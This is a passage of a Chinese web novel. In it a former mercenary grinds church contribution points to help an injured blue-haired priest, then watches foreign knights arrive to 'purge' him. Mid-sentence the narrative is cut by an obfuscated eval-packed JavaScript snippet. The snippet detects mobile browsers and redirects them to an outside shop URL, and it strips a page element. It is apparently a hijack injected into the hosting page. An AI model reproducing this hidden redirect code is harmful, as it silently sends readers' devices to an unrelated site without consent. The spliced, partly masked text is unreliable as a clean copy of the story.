是啊,他凭什么?一个用钱买来身份的人,一个连最基础的魔力共鸣都没有的“残次品”,一个手上沾过血的前雇佣兵。他以为自己在帮但,但也许在但眼里,他笨拙的调查和关心,不过是另一种麻烦,甚至可能是危险的暴露。 可默做不到真的放手。那个雪原上递来药膏的身影,垃圾场月光下平静的注视,自习室纸条上工整的字迹……这些碎片拼凑出的但,与他现在所见到的、受伤却拒绝帮助的但,中间隔着什么他无法跨越的深渊。 他需要一个途径。一个能接近真相,又不至于直接被但拒之门外的途径。 在教会这个庞大而古老的机器里,默很快发现了它独有的一套评价体系:贡献值。 一套复杂的、基于工作完成度、额外服务时长、行为规范遵守情况等多维度计算的积分系统。贡献值高的修士,理论上可以申请调往更重要的岗位,获得更多学习机会,甚至在极其罕见的情况下,有可能被考虑晋升为执事。 这似乎是个完美的突破口。如果他能把贡献值刷到最高,如果他能在底层修士中脱颖而出,如果他能有正当理由接触到更高层级的档案、记录,或者至少,能有更多自由活动的权限……那么,也许他能靠自己弄清楚但身上到底发生了什么。 于是,默开始了他在教会里第一场孤独的战役。 这场战役没有刀光剑影,只有日复一日的、令人麻木到骨髓的劳作。 清晨四点,晨祷钟声响起前一小时,默已经起身。他悄无声息地溜出宿舍,去打扫那些尚未轮值到的公共区域:祈祷厅后排最不易清扫的角落,连接厨房与食堂那条油腻走廊的墙面,图书馆下层书架顶端积累的、无人问津的灰尘。他用自制的小工具清理彩玻璃窗棂最细微的缝隙,连管理杂物的老执事都惊叹“这里至少有十年没这么干净过”。 日间工作,他不仅完成自己分内的事,还主动承接他人嫌恶的活计。搬运最沉重潮湿的柴火,清洗堆积如山的、沾满食物残渣的餐盘,处理救济点那些因疾病或污秽而散发着难闻气味的旧衣物。他从不抱怨,甚至在其他修士试图偷懒、把工作推给他时,他也只是沉默地接过。 夜晚,当其他人拖着疲惫身躯回到宿舍,默却申请了额外的“夜值”。 一种负责夜间基础巡查和应急处理的岗位,辛苦且没有额外津贴,但贡献值加成很高。他提着昏暗的油灯,走在空无一人的回廊,检查门户,记录异常。有时他会刻意绕到东侧那扇彩窗前,门紧锁着,墓园在夜色中一片死寂。他站一会儿,然后继续走。 休息日,当大部分修士选择在宿舍补觉或有限度地闲聊时,默会出现在识字班,帮忙辅导最吃力的孩子;会去修缮组,用他雇佣兵时期学会的粗陋手艺修补破损的家具;甚至主动申请去照看教堂后方那片荒芜的药草园。 即使那里因缺乏照料几乎枯死,默却硬是靠查资料和反复试验,让一小部分耐寒的品种恢复了生机。 他的贡献值开始以惊人的速度攀升。每月的贡献榜张贴在后勤厅外的布告栏上,默的名字从最下方,稳步向上,一个月后进入中游,两个月后跻身前十,第三个月结束时,已经牢牢占据了榜首。 与此同时,无形压力并没有消失。 最初是异样的目光。当默清晨提前出现在工作区域,那些习惯于磨蹭到最后一刻的修士会露出不自在的表情。当他默默接过额外工作时,推脱者脸上的尴尬会迅速转化为一种微妙的恼怒,仿佛他的勤勉照出了他人的怠惰。 然后是非议。 “瞧,又去了。”同宿舍的修士躺在铺位上,看着默在休息日清晨整理工具准备出门,声音不高不低,刚好让全屋人都能听见,“贡献榜第一还不够?这是要上天啊。” “人家志向远大,跟我们这些混日子的不一样。”另一个修士阴阳怪气地接话,“说不定哪天就穿上执事袍了呢。” 默低着头,一言不发地走了出去。背后的嗤笑声被关上的门隔断,却隔不断那根刺。 食堂里,当他端着餐盘寻找座位,原本凑在一起低声说笑的几人会忽然散开,或者故意将空位用杂物占住。他去打菜时,掌勺的修士会“恰好”把勺子里最后一块稍微像样的土豆舀给前面的人,轮到他就只剩清汤寡水。 最直接的冲突发生在一个下雨的午后。默被派去和另外三名修士一起清理教堂主楼屋顶的排水槽。雨势不小,工作危险且泥泞。那三人互相使着眼色,磨磨蹭蹭,把最外侧、最湿滑的一段留给了默。默没说什么,系好安全绳就爬了上去。等他费尽力气清理完那段堆积了大量腐烂树叶和淤泥的排水槽,浑身湿透、冰冷刺骨地下来时,发现那三人正躲在屋檐下的干燥处,分享着一小袋偷偷带出来的、烤得焦香的豆子,有说有笑。 见他下来,其中一人,一个较为壮硕的修士,咧开嘴笑了:“哟,我们的大功臣干完了?真快啊!我们还说等你下来帮忙呢。” 豆子的香气混合着雨水的土腥气飘过来。 默抹了一把脸上的雨水,看了他们一眼。那人脸上的笑容里充满了挑衅和毫不掩饰的轻蔑。另外两人避开他的目光,但肩膀松垮,姿态悠闲。 “下次,”默开口,声音因为寒冷而有些沙哑,“如果不想干,可以直接说。不必浪费彼此时间。” 瑞夫的笑容僵了一下,随即变得更夸张:“哎呦,榜首教训人了?怎么,贡献值高就了不起了?你以为你是谁?一个不知道从哪个阴沟里爬上来的……” “!”旁边稍微年长些的修士拉了他一下,眼神警惕地瞥了默一眼,压低声音,“少说两句。” 瑞夫挣开,但也没再继续说下去,只是白了未一眼,转身走了。另外两人赶紧跟上。 默独自站在雨中,湿透的灰色修士服紧紧贴在身上,冰冷沉重。他忽然想起在雇佣兵时期,也有过类似的时刻。但那时,实力就是一切,不爽可以打一架,打输了认栽,打赢了获得尊重,或者至少让对方闭嘴。但这里不行。这里的规则更柔软,也更坚韧,像一张浸了水的蛛网,粘在身上,扯不掉,挣不脱,只会越缠越紧。 “工贼。” 他隐约听到远去的那几人中,有人用极低的声音吐出了这个词。 这个词开始像瘟疫一样,悄无声息地附着在他的名字后面。 “那个工贼”,成了部分底层修士私下指代他的方式。他的勤勉不再被看作美德,而是一种对既有潜规则的破坏,一种企图踩着别人向上爬的卑劣行径。他的沉默被视为心机深沉,他的付出被解读为别有所图。 他知道这些,但他不在乎。或者说他强迫自己不在乎。他的目标不是同僚的认可,是贡献值,是可能的晋升,是接近真相的通道。 然而,当他终于攒够了申请调岗或查询某些非核心档案所需的贡献值时,现实给了他更沉重的一击。 他首先申请调往内务档案室辅助工作。那里接触不到核心机密,但或许能有关于祭司日常工作安排、物资配给之类的普通记录。申请被驳回了,批复只有一句:“该岗位暂无空缺,申请人资历尚浅。” 他又尝试申请旁听低级别的教义研讨,或许能在那里见到但,或者至少听到一些关于祭司阶层的信息。再次被拒:“该研讨仅对入职三年以上、通过基础教义考核者开放。” 他甚至试探性地询问,贡献值达到一定标准后,是否有机会接受更进一步的职责考察或培训?接待他的执事抬起眼皮看了他一眼,那眼神像在看一件不甚重要的物品:“贡献值是对你现有工作的肯定。做好分内事,就是最大的贡献。晋升需要综合考量,包括信仰虔诚度、对教义的理解、以及……背景审查。耐心等待吧,修士。” 背景审查。这个词像一盆冰水浇在他头上。他想起了自己那份用奉献金买来的、洁白无瑕的假档案。在教会这套体系里,那或许能让他进门,但想往上走?恐怕蓝衣副主教卖的是门票,不是前程。 贡献值榜首的光环,像一个巨大的讽刺。他刷再高的分,似乎也只是在底层这个透明的玻璃缸里,游得更快一些罢了。缸外的世界,他看得见,但永远碰不到。 挫败感像冰冷的藤蔓缠绕上来。与此同时,对但的担忧并未减少,反而因为自己的无能为力而变得更加焦灼。他能感觉到但的处境在恶化。虽然极少能远远瞥见,但那抹蓝色身影出现的频率似乎更低了,而且每次看到,但的脸色似乎都比上一次更苍白,身形也更单薄。有两次,默甚至看到但的袍袖下,隐约露出的手腕上,似乎缠着新的、干净的绷带。 他不能再等下去了。 一个休息日的傍晚,默借口去城外废弃集市替杂物院寻找可修复的旧家具,实际是悄悄联系上了他过去在黑市建立的一个极其隐蔽的渠道。他不敢动用还在雇佣兵圈子里的直接关系,那太容易暴露。他找的是一个专做信息擦边生意的中间人,信誉尚可,收费高昂,但口风很紧。 通过曲折的方式,默传递出请求:调查黑主教教会内,一位名叫“但”的蓝发祭司的近况,重点关注是否遭受不公待遇、排挤或威胁,尤其是与“药膏”、“下毒”、“受伤”相关的线索。他预付了一笔不小的信用点——几乎是他成为修士后,利用极少数外勤机会偷偷攒下的全部积蓄。 “教会内部的事,水很深。”中间人收下钱时,意味深长地说,“尤其是牵扯到祭司这个级别。我只能说尽量,不保证结果,也不保证安全。你确定要查?” “查。”默的回答没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848504|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有犹豫。 等待回音的日子格外煎熬。每一次看到穿深色衣服、行色匆匆的外来者出现在教堂外围,默的心都会揪紧;每一次有执事或更高阶的神职人员经过,用审视的目光扫过正在劳作的修士们,默都会下意识地低下头,生怕自己的焦虑被看穿。 他更加拼命地工作,试图用□□的疲惫淹没内心的不安。贡献值继续一骑绝尘,但“工贼”的称号也越发响亮。同僚们的孤立从冷淡升级为轻微的刁难:他打扫干净的地方会很快出现新的污迹;他整理好的工具会莫名错位或损坏;他去打饭时,队列总会“恰好”在他面前变得异常缓慢。 默全都忍了下来。他像一块沉默的石头,承受着来自四面八方的无形压力,只盼着黑市那边能带来一点有用的消息,哪怕只是一点线索,让他知道该如何真正地帮到但。 大约三周后,回信来了。不是通过他预期的秘密渠道,而是以一种令他瞬间血液冰凉的方式。 那天,他正在后厨帮忙清洗堆积如山的土豆。水冰冷刺骨,手指冻得通红。厨房管事忽然叫他:“默,去储藏室把新送来的那袋盐搬过来。” 默擦干手,走向位于厨房后方、阴冷潮湿的储藏室。推开门,里面堆满了麻袋和木箱,光线昏暗。他刚走进去,身后的门就“咔哒”一声被关上了。 不是风吹的。门被从外面别住了。 默浑身肌肉瞬间绷紧,手悄然摸向腰间——那里当然没有匕首,只有粗糙的亚麻腰带。他迅速环顾四周,储藏室没有其他出口,只有高高的、装着铁栏的小气窗。 “谁?”他压低声音问。 没有回答。 默警惕地缓步靠近。绕过木箱,他看到了但。 但蜷缩在角落的阴影里,背靠着冰冷的石墙,蓝色长发散落下来,遮住了脸。但默一眼就看到了他按在腹部的右手,在那指缝间深色的液体正缓慢地渗出,浸染着袍子。 “但祭司!”默失声低呼,立刻蹲下身。 但猛地抬起头。他的脸色白得像纸,嘴唇没有一丝血色,额头上布满了细密的冷汗。但那双眼睛,却亮得惊人,里面翻涌着剧烈的情绪。 痛苦、愤怒,以及一种近乎绝望的失望,直直地刺向默。 “是你……”但的声音嘶哑破碎,每一个字都像是从齿缝里挤出来的,“你雇人……调查我?” 默如遭雷击,呆在原地。黑市的调查……暴露了?不仅暴露了,还以这种方式,在这个时候,将但引到了这里?这是个陷阱! “我……我只是想帮你……”默的声音干涩。 “帮我?”但扯出一个比哭还难看的笑容,伴随着一阵抑制不住的咳嗽,更多的血从他指缝涌出,“你知不知道……你找的人……刚接近档案室的外围……就被发现了……他们顺藤摸瓜……查到了最近所有异常的打听……现在他们认定……我在勾结外部势力……图谋不轨……” 每一个字都像一把锤子砸在默的心上。他自以为隐秘的调查,不仅徒劳无功,反而成了落在但头上的、最致命的把柄。他甚至能想象,那些隐藏在阴影中的对手,是如何利用这个机会,对但施加了更直接的“警告”或“惩罚”。眼前这触目惊心的伤口,就是结果。 “对不起……我……”巨大的悔恨和无力感淹没了默,他伸出手,想查看但的伤口,却又不敢碰触。 但猛地挥开他的手,动作牵动了伤口,痛得他倒抽一口冷气,身体剧烈地颤抖起来。“别碰我!”他的声音里充满了压抑的痛苦和决绝的疏离,“离开这里……现在!忘记你看到的一切!” “可是你的伤……” “死不了!”但低吼道,随即又是一阵呛咳,“他们……还不想我现在就死……这只是……警告。”他艰难地喘着气,眼神里的失望渐渐被一种深沉的疲惫覆盖,“默……我警告过你……这里的黑暗……不是你该涉足的……现在,因为你的‘帮忙’……情况更糟了。你满意了吗?” 这些话比刀子更锋利,精准地刺穿了默所有的坚持和自以为是的努力。他僵在那里,看着但因失血和疼痛而微微颤抖的身体,看着那双向来平静如今却盛满痛苦与决绝的蓝眼睛,一个字也说不出来。 储藏室门外传来了脚步声和说话声,是厨房管事带着人来找迟迟未归的默了。 但用尽最后力气,低喝道:“走!从气窗……快!” 默看了一眼但惨白的脸,又看了一眼那高高的、装着铁栏的气窗。他知道,但说的是对的。他留在这里,被发现在这种场合与受伤的但在一起,只会给但带来更大的麻烦,也彻底毁掉他自己。 在门被推开的前一秒,默猛地蹬踏旁边的麻袋堆,抓住气窗铁栏,用尽全身力气向上蹿去。他的身体挤过狭窄的窗框,粗糙的铁锈刮破了手臂和衣服,然后重重摔在储藏室外的泥地上。 他顾不上疼痛,连滚爬起,头也不回地冲进教堂建筑群的阴影里。身后,传来厨房管事疑惑的询问声,以及门被打开的声音。 他躲在远处一堵断墙后,剧烈地喘息,心脏狂跳得几乎要炸开。手臂上的擦伤火辣辣地疼,但远不及心中那冰冷的、彻底的空洞和剧痛。 他看到了但的伤,听到了但的话。他的“帮助”,他倾尽积蓄、冒着风险换来的,是对但更深的伤害,是把但推向更危险境地的推手。 什么贡献值榜首,什么晋升通道,什么暗中调查……所有他试图抓住的稻草,所有他以为能改变现状的努力,在这一刻都显得那么可笑,那么徒劳,那么……愚蠢。 他失魂落魄地回到后厨,编了个肚子不舒服躲去厕所的蹩脚理由,勉强应付了管事的询问。没有人注意到他衣服的破损和手臂的擦伤,或者注意到了,也懒得问。他就像角落里的一粒灰尘,无人在意。 接下来的日子,默像是彻底换了一个人。 晨祷他依然去,但站在最后排,嘴唇机械地开合,眼神空洞。分配的工作他照做,但再也不提前,再也不额外,严格按照最低标准完成。别人推过来的活计,他第一次平静地拒绝了:“抱歉,这不在我的分内。” 夜值?不去了。休息日的额外服务?取消了。识字班、修缮组、药草园……再也看不到他的身影。 他的贡献值增长曲线戛然而止,然后迅速被其他人超越。他的名字从榜首滑落,很快就淹没在中下游,不再引人注目。 同僚们起初有些惊讶,随即露出“果然如此”的嘲讽表情。 “看吧,装不下去了。”“早就说过,那种拼命法,迟早累趴下。”“说不定是拍马屁没拍到点子上,心灰意冷了。” 议论声依旧,但少了之前的尖锐,多了些乏味的戏谑。他依然被孤立,但现在这种孤立,更像是一种彼此默认的、互不打扰的状态。没人再刻意刁难他,因为一个“自暴自弃”的工贼,已经失去了被针对的价值。 默对这种变化毫无感觉。他每天按时起床,吃饭,工作,睡觉,像一具设定好程序的机器。他不再试图观察,不再思考晋升,更不再去想但。 偶尔,在搬运物品穿过回廊时,他还是会不由自主地看向祭坛的方向,或是自习室那个熟悉的角落。有时,他也会远远瞥见那抹蓝色的身影,比以前更加消瘦,像一抹随时会散去的薄雾,匆匆走过,从不看向他这边。每当这时,默就会立刻移开视线,加快脚步,仿佛那抹蓝色是什么灼伤眼睛的东西。 他回到了刚进入教会时的状态,甚至更糟。那时至少还有对新环境的观察和好奇,有通过贡献值寻求突破的念想。现在,什么都没有了。只有日复一日的、同质化的重复。灰色的墙壁,灰色的袍子,灰色的食物,灰色的天空。连时间都变成了黏稠的、缓慢流动的灰色浆液。 他开始真正理解那个黑市神职人员说的话。那不仅仅是指生活条件的清苦或规则的森严,更是一种精神上的缓慢窒息。在这里,个体意志被稀释到近乎为零,每个人都是巨大机器上一个可替换的零件。不需要思考,不需要选择,只需要服从和重复。晋升?那或许是存在的,但如同镜中花水中月,是为极少数背景清白、信仰纯粹的人准备的幻梦。对于大多数像他一样的人来说,这里就是一个精致的、永恒的底层。 夜深人静时,躺在坚硬的铺位上,听着周围此起彼伏的鼾声,默会盯着天花板上月光投下的、不断移动的模糊光斑,反复问自己一个问题:“我当初不杀人的坚持,到底是对是错?” 如果当初没有给自己设下那条铁律,他或许早就在雇佣兵的世界里爬得更高,攒下更多的信用点,拥有更强大的力量和人脉。那样的话,他或许根本不需要买这个该死的教会名额,或许能有更有效的方式保护自己…… 而现在呢?他把自己困在这个灰色的牢笼里,遵守着不杀人的规则,却眼睁睁看着但在他看不见的地方流血;他试图用“合法”的、教会内部的方式去寻求改变,却只换来更深的禁锢和更无力的挫败;他甚至连最基本的一点“帮助”都做不到,反而成了加害的帮凶。 在这里,不杀人,不染血,保持“洁净”……意义何在?是为了符合那个用钱就能绕过的教规吗?是为了维持一个用奉献金买来的、虚假的“清白”身份吗? 如果他拿起刀,回到那条血腥但直接的路上,是不是至少能掌握自己的命运?是不是至少,在面对但所受的伤害时,能有一些真正的、而不是徒劳的反击之力? 这个念头一旦滋生,就开始疯狂蔓延。他想起自己定制的那把哑光匕首,还藏在地堡的某个隐蔽处;想起黑市那些只要付钱就什么都敢干的亡命之徒;想起杀人时那种目标明确、反馈直接、生死立判的清晰感——远比在这教会里,面对无形的网、柔软的刀、缓慢的窒息,要痛快得多。 也有对他好的人。他记得有两个修士似乎曾给他辩解过,还试图和他说话。但是他明白,一旦回应,就会让这两个人也倒霉。 也许,他错了。也许这个看似洁净、秩序的世界,并不适合他这种从泥泞和血腥里爬出来的人。也许他唯一擅长的,唯一能依靠的,还是杀戮和交易。 可是……雪原上递来的药膏,垃圾场里平静的注视,纸条上工整的字迹,还有但那句“冷的人反而容易在冰窟里活久一点”…… 这些又算什么呢?是错觉吗?是另一个更精巧的陷阱吗? 默不知道。他只知道,当初支撑他进入这里的念想,仅仅是“靠近那缕光,弄清楚但的谜题”,这简单的想法已经随着储藏室里但那失望痛苦的眼神和洇开的鲜血,一起破碎了。留在这里,除了继续这具行尸走肉般的灰色生活,忍受同僚的冷眼和内心的空洞,还有什么意义? 晋升是骗局。帮助是灾难。坚持是笑话。 那么,离开?回到地堡,拿起匕首,重新接取委托,回到那个用命换钱、用血铺路的世界? 这个选项在黑暗中散发着一种熟悉的、带有血腥味的诱惑力。 默翻了个身,将脸埋进粗糙的枕头里。月光移动,照亮了他半边脸颊,上面没有任何表情,只有一片死寂的空白。 20. 【十】 未躺在十二人宿舍角落的铺位上,睁着眼睛。 黑暗稠得像化不开的墨。鼾声、磨牙声、含糊的梦呓,还有劣质布料与粗糙被褥摩擦的窸窣声,交织成一张沉闷的网,罩在狭小空间的上方。他盯着头顶那片更深的黑暗,那里原本该有天花板的轮廓,此刻却什么也看不见,只有无边无际的、压抑的虚无。 脑子里是空的,又像是塞满了烧尽的灰,沉甸甸,乱糟糟,却激不起半点思想的火星。但那双盛满失望与痛苦的蓝眼睛,总在不经意间刺破这片灰暗,带来一阵尖锐却短暂的抽痛,随即又被更深的麻木淹没。 规则、贡献值、晋升、帮助……这些词曾经像悬在眼前的、散发着微光的诱饵,如今看来,不过是系在空荡钓钩上的、斑斓却虚假的羽毛。他咬过钩,被钓起,扔进这个巨大的、灰蒙蒙的玻璃缸里。现在,羽毛褪色了,钩子卡在喉咙,不上不下,吐不出来,咽不下去。 睡意彻底叛逃了。他尝试数呼吸,数到一百零七就乱了;尝试回忆某些无关紧要的雇佣兵任务的细节,记忆却像浸了水的羊皮纸,模糊黏连;最后,他甚至试图去背那套灌输给他的、虚假的生平,结果只觉得一阵恶心。 烦。从骨头缝里渗出来的烦闷,像一群细小的、有毒的虫子,在血管里无声地爬。这铺位太硬,这空气太浊,这鼾声太吵,这身灰色的修士服裹在身上,像一层长满了霉斑的皮肤,让他恨不得撕扯下来。 规则?一个冰冷的声音在心底嗤笑。你连门都是用钱砸开的,还守着里面那些细枝末节的规矩,给谁看?给那些叫你“工贼”的人?给那个连你靠近都觉得是麻烦的祭司?还是给那个收了钱就消失不见的“蓝衣副主教”? 未猛地坐了起来。动作不轻,木板床发出“嘎吱”一声呻吟。旁边铺位的修士含糊地嘟囔了一句,翻了个身。 他坐在床边,冰冷的空气立刻包裹住他只穿着单薄睡衣的身体。窗外,加仑城永恒的阴霾天空,连星光都吝于施舍,只有远处教堂主塔尖上,那点用于警示飞行器的、规律闪烁的暗红色光芒,像一只疲惫巨兽的独眼,漠然地眨动。 他需要出去。立刻,马上。离开这张床,离开这个房间,离开这栋建筑,离开这身该死的灰袍子带来的所有感觉。 夜规?危险?去他妈的吧。 他悄无声息地滑下铺位,套上修士服,像一道苍白的影子,溜出了宿舍门。 走廊里应急灯的光幽暗惨绿,将他的影子拉长、扭曲,投在斑驳的墙壁上。他熟悉巡夜修士的路线和时间,如同熟悉猎物的习性。他贴着墙根的阴影移动,避开有规律的光照区域,心跳平稳,呼吸轻缓。不是紧张,而是一种久违的、在危险边缘游走的清晰感。这感觉比躺在宿舍里腐烂要好一万倍。 通往建筑外侧的通道有几道简单的门禁,但对一个前雇佣兵来说,形同虚设。他用一根在杂物堆里随手捡来的细铁丝,花了不到十秒就弄开了后勤通道那扇老式机械锁的小门。寒冷的夜风猛地灌进来,激起一层鸡皮疙瘩,却也让混沌的头脑为之一醒。 外面是教堂建筑群与外层围墙之间的狭长空地,堆着些杂物,长着顽强的杂草。围墙很高,顶端嵌着碎玻璃和能量感应线。但这布置防外不防内,或者说,没多少人会像他这样从里面翻出去。 未后退几步,助跑,蹬踏墙面凸起的砖石,手在墙头一撑,身体轻盈地翻越。碎玻璃划破了他的手掌和小臂,带来细微的刺痛,能量感应线静默着,也许它根本就没通电,也许他的动作快到了触发阈值之下。他落在墙外的窄巷里,溅起一小片泥水。 自由了。虽然只是物理意义上的,短暂的一小会儿。 冰冷的空气灌满肺叶,带着加仑城特有的、混杂着工业废料和能量残渣的污浊气味,但此刻闻起来,竟比教堂里那混合了熏香、灰尘和压抑人气的空气要清新得多。他站在冰冷的泥泞里,抬头看了看那堵高墙,又低头看了看自己身上可笑的、沾了泥点的修士服。 得先换身衣服。这个念头自然而然地冒出来。 地堡。他几乎没怎么犹豫,就确定了方向。 在夜晚的加仑城废墟中穿行,远比在教会那些规整却压抑的回廊里自在。他熟悉每一条暗巷,每一处断墙的阴影,每一个可能潜伏危险或提供掩护的角落。 地堡的入口伪装得很好,藏在半塌陷的建筑地基和疯狂滋生的金属荆棘丛后面。他挪开沉重的、做了伪装的挡板,滑入狭窄的竖井,再推开内层的密封门。熟悉的、混合着金属、机油和尘土的气息扑面而来。应急照明因为他进入而自动亮起,昏黄的光线下,一切如旧,只是落了一层薄灰。 他没开主灯,径直走到储物柜前,打开。里面整齐地码放着他雇佣兵时期的装备:耐磨的深色作战服,加固的靴子,还有几件适应不同环境的防护夹克。他脱下沾满泥污的睡衣,扔在角落,快速换上柔软的黑色内衣、结实的裤子、靴子,最后套上一件深灰色的、带有多处隐秘口袋的旧夹克。 然后,他走到地堡最内侧的武器架前。那里空了几个位置,有些武器在决定进入教会前处理掉了。但他的目光,径直落在中间一格。 哑光处理的匕首,安静地躺在那里。刀身是沉郁的暗色,几乎不反光,完美的几何线条透着冰冷的效率。他伸出手,握住刀柄。熟悉的、根据他手型微调过的握感扎实且稳定,仿佛是他手臂延伸出去的一部分。一种近乎战栗的踏实感,从掌心沿着手臂蔓延到全身。 他抽出匕首,刃口在昏黄光线下划过一道细微的寒芒。他仔细检查了刃口,依旧锋利。用一块绒布擦拭掉上面薄薄的灰尘,然后将其插入靴子内特制的刀鞘。冰冷的金属质感贴在肋下,沉甸甸的,却让他一直漂浮不定的心神,奇迹般地落回了实处。 他又从角落里翻出一个小包,里面是一些零散的、教会环境中用不上但黑市里或许还有价值的小玩意,一些应急的信用点,还有那枚代表“未”这个雇佣兵身份的旧徽章。他把徽章擦亮,犹豫了一下,没有佩戴,而是放进了贴身的暗袋。 做完这一切,他站在地堡中央,环顾这个曾经庇护他、代表他过去全部生存空间的地方。没有留恋,只有一种清晰的认知:这才是他熟悉的战场,他的规则在这里。 但他今晚回来,不是为了重操旧业。至少现在不是。 他只是……需要透口气。需要去一个能让他脑子彻底放空,又不会被那无处不在的灰色淹没的地方。 他离开地堡,重新融入夜色。这次,脚步更加沉稳,方向明确。 墓园在夜晚呈现出与白天截然不同的面貌。白天的荒凉破败,在月光和能量尘埃带来的微弱荧光下,变成了一种诡谲的寂静。歪斜的墓碑像一片片沉默的、黑色的牙齿,从荒芜的地面刺出。风穿过碑林,声音不再是呜咽,而更像是某种悠长缓慢的呼吸,冰冷地拂过皮肤。 未走到无名碑前。他没有像以前那样跪下来擦拭或清理,只是背靠着粗糙冰凉的碑石,滑坐在地上。 他没有警戒,没有思考,只是仰起头。脑子是空的,刻意放空的。不去想教会,不想但,不想过去,也不想未来。就让这片死寂和冰冷包裹自己,仿佛自己也成了这墓园里一块没有名字的石头。 时间失去了意义。可能过了几分钟,也可能过了半小时。直到一阵极其轻微、但绝对不属于风声或夜行动物的声响,像投入死水中的石子,打破了他刻意维持的空白。 是脚步声。不止一个。步伐整齐,沉重,带着金属铠甲的细微摩擦声,正从墓园更深处、靠近教堂另一侧外围墙的方向传来,而且似乎在向这边移动。 未瞬间从放空状态抽离,所有的感官在十分之一秒内提升到雇佣兵的警戒等级。他保持着背靠墓碑的姿势,只是头极其缓慢、极其轻微地偏转了一个角度,眼神锐利如刀,透过碑石和荒草的缝隙,向声音来处望去。 月光和微光下,几个人影轮廓逐渐清晰。 是四个人,不,五个。他们排成一个松散的楔形队列,动作协调,步伐沉稳,即使在崎岖不平的墓园地面上,也几乎听不到明显的杂音,显示出严格的训练。他们的装束与加仑城常见的任何风格都迥异。 打头两人和队尾一人穿着全身铠甲。那不是教会圣骑士那种装饰华丽、带有大量宗教浮雕的仪式铠甲,而是线条简洁、关节处设计巧妙、表面进行过哑光处理的实战甲胄,在微弱光线下几乎不反光,呈现出一种沉冷的铁灰色。头盔覆盖了整个头部,面甲是整块的弧形,只留下狭窄的视缝,看不清面容。他们腰间佩着阔刃长剑,背后似乎还挂着可拆卸的长矛或战戟组件。 中间两人穿着深色的长袍,材质看起来厚实而挺括,不像修士袍那样柔软宽大。长袍外罩着轻便的胸甲或肩甲,样式同样简洁。其中一人手里握着一根长度适中的金属法杖,顶端镶嵌的晶体在黑暗中偶尔流过一丝极其晦暗的光;另一人空着手,但步态和姿态显示出他绝非弱者。 未的瞳孔骤然收缩。 他的目光死死锁在那些铠甲和长袍上某些不起眼的位置,肩甲边缘、胸甲中心、袍角内侧都有着统一的徽记烙印。即使在昏暗光线下,那独特的、交织着荆棘与某种抽象鸟喙或是利爪的图案,与他之前挖到的那个金属件边缘残留的、模糊的蚀刻纹样,一模一样。 寒意瞬间从尾椎骨窜上头顶。那个金属件!但当时紧张地夺走,警告他不要插手……而现在,佩戴着同样徽记、全副武装的一队人,在深夜,悄无声息地出现在教堂墓园,正向教堂核心区域行进。 几乎是瞬间,未就将之前但受到的刺伤,那个创口窄而深,且伴有大量的出血。与这些人背后的长矛组件正符合,加上那一模一样的徽记…… 这些人,是冲着但来的?还是说,他们和但的伤有直接关系?但知道他们的存在,所以当时才那么紧张,那么决绝地要切断与自己的联系? 未的身体绷紧了,他伏低身形,利用墓碑和荒草的掩护,开始无声而迅捷地移动,远远辍在这队人的侧后方。他需要看得更清楚,听得更明白。 那队人似乎对墓园地形并不十分熟悉,偶尔会停下来,由那名持法杖的长袍者低声念诵什么,法杖顶端的晶体闪烁一下,似乎在感知或探测方向。他们的目标明确,就是教堂建筑。 就在他们接近墓园与教堂建筑群相接的那片相对开阔地带时,教堂一侧的阴影里,一个人影走了出来,拦在了他们的必经之路上。 月白色的祭司袍,即使在昏暗中也显得醒目。蓝色的长发没有束起,散在肩头。是但。 未的心脏猛地一揪,呼吸屏住,将自己更深地藏进一座半塌的古老碑亭阴影里,距离大约二十米,勉强能听到那边的对话。 但站在那里,身姿挺拔,却透着一股难以言喻的单薄。他面对着那五个武装到牙齿的不速之客,脸上没有任何表情,只有一片冰冷的平静。 “止步。” 但的声音不高,清晰地穿透夜晚寂静的空气,“此乃神圣之地,非请勿入。” 队列停了下来。打头的一名铠甲骑士上前一步,面甲后的声音经过金属的过滤,显得沉闷而毫无感情:“祭司但,奉穆希纳什最高议会及‘荆棘鸟’骑士团团长之令,前来执行‘召回’程序。请放弃无谓抵抗,随我等返回。” 穆希纳什?荆棘鸟骑士团?未的脑子飞速转动。这个名字他有印象,是北方一个强大的城邦联盟,以严苛的律法、高效的军事力量和封闭排外著称。但是穆希纳什的人,流放的王储,之前听到的流言碎片在这一刻也被串联起来。 但的嘴角极其轻微地扯动了一下,像是冷笑,又像是自嘲。 “召回?” 他的声音里听不出喜怒,“我早已被除名,流放至此。何来‘召回’一说?不过是想把不合规的器物彻底处理干净的另一种说辞罢了。” 那名持法杖的长袍者开口了,声音沙哑,带着一种居高临下的审视:“你的存在本身,从‘那次事件’后,就已构成对穆希纳什纯净血脉与神圣律法的持续玷污。最高议会给予你‘自我放逐、终生侍奉外神以赎罪孽’的机会,已是最大仁慈。然近期情报显示,你在此地的活动已超出‘赎罪’范畴,且有介入地方势力纷争、利用残存影响力之嫌疑。为确保稳定,消除隐患,议会决定提前终止你的流放状态,进行‘最终净化’。” “最终净化……” 但重复着这个词,声音轻得像是叹息,“说得真动听。不就是觉得我这个‘瑕疵品’在外面活得太久,怕哪天挡了谁的路,或者……想起了不该想起的事么?” “注意你的言辞,罪裔!” 另一名铠甲骑士厉声喝道,手按上了剑柄。 但却像是没听到威胁,目光扫过眼前五人,最后落在那名法师身上:“老师……连您也来了。为了确保我这个不成器的学生彻底消失,真是劳师动众。” 法师沉默了片刻,法杖微微顿地:“但,你本可成为穆希纳什最耀眼的星辰。是你自己选择了背弃与堕落。今日结局,皆是你咎由自取。” “背弃?堕落?” 但忽然低低地笑了起来,笑声在寂静的墓园里显得格外凄凉,“因为我没能像他们期望的那样无声无息地死去?还是因为我不肯忘记那些被‘净化’掉的真相?老师,你们要的从来不是赎罪,是彻底的遗忘和抹杀。把我关在这里,看着这座腐朽的教堂,日复一日擦拭沾满伪善的祭坛,就是你们所谓的‘仁慈’?” 